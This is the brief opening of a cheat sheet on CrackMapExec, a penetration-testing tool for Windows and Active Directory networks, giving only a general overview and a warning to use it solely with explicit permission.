CrackMapExec Cheat Sheet

Overview

CrackMapExec (CME) is a post-exploitation tool designed for penetration testing and red team operations in Windows/Active Directory environments. It's often described as a "Swiss Army knife" for network penetration testing, allowing for enumeration, credential testing, and command execution across multiple protocols.

⚠️ Warning: CrackMapExec is a security testing tool that should only be used in environments where you have explicit permission to do so.
